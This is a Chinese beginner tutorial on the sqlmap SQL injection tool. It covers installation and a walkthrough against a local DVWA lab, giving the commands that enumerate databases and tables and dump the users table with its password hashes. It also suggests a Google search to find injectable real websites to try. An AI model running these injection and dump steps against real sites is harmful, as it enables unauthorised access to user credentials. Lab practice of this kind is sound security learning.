SqlMap 初尝试
什么是SqlMap
Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:
完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
支持自动识别密码哈希格式并通过字典破解密码哈希。
支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
支持在数据库管理系统中搜索指定的数据库名、表名或列名
简单来说SqlMap就是一中SQL注入的工具,能实现对一些网站的SQL注入和获取数据库信息。
如何安装SqlMap
因为SqlMap是基于python,所以需要先安装本地的python环境
Python2.7.11下载:
下载地址:https://www.python.org/downloads/
- 安装步骤可以查看其它的python的安装教程,蛮简单。
- 安装完成后,重启系统,查看是否生效,“Win+R”,输入cmd,然后输入python
通过 http://www.sqlmap.org/ 下载SqlMap的zip包
- 通过在桌面创建快捷方式,实现桌面的SqlMap快捷键。
- 输入 cmd
- 输入自定义名称
- 将sqlmap的文件夹拷贝到python下
修改起始位置如下,修改为python下的sqlmap的地址
- 直接启动,如下
SqlMap的实验
通过googel的inurl:"/.asp?id="
搜索一些可被注入的网站进行尝试
我尝试的是通过DVWA的SQL 盲注入。
如果有兴趣,可以尝试先从DVWA的靶机开始。,DVWA是一款不错Web渗透的入门靶机
通过 sqlmap.py -u "http://127.0.0.1:8081/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=3pdq351sispu8cugkmpu7afhi4" --batch "
实现对靶机的验证看能否注入攻击
ps:--batch 是指之后所有的选择参数都是默认的选项。
根据图片显示攻击可以注入,并获取到了后端的配置信息,以及将其内容输出成为了一个文档
测试成功,通过 --dbs命令查看后台的Databases,ps 因为 --batch为默认参数选择,所以必需为最后一个参数指令 。
根据后台显示以下几个databases,因为网站为dvwa,所以选中dvwa数据库,查看tables分布
[*] dvwa
[*] information_schema
[*] mysql
[*] performance_schema
[*] test
通过参数 -D 指定database 通过 --tables 显示所有的table ,如下图有两个表,因为要有攻击性,所以选择 users的表
+-----------+
| guestbook |
| users |
+-----------+
-T参数指定表为users,--columns查看该表的所有列,查看到users表的表结构有这8个字段组成
[8 columns]
+--------------+-------------+
| Column | Type |
+--------------+-------------+
| user | varchar(15) |
| avatar | varchar(70) |
| failed_login | int(3) |
| first_name | varchar(15) |
| last_login | timestamp |
| last_name | varchar(15) |
| password | varchar(32) |
| user_id | int(6) |
+--------------+-------------+
通过 --dump显示出所有的内容
如果字段名过多,可以尝试通过 -C "user,password" 来实现指定字段的筛选
但是所有的数据不可能会在命令行上看,这样很不不方便。没关系,sqlmap在你执行 --dump命令时,已经将数据文件下载到了本地,可以随时查看文件数据,文件保存为CSV类别。
以上就是SqlMap的简单使用,至于为什么要学习这个攻击的技术,因为进攻是最好的防守啊,学会了如何攻击,才知道如何防御别人的攻击。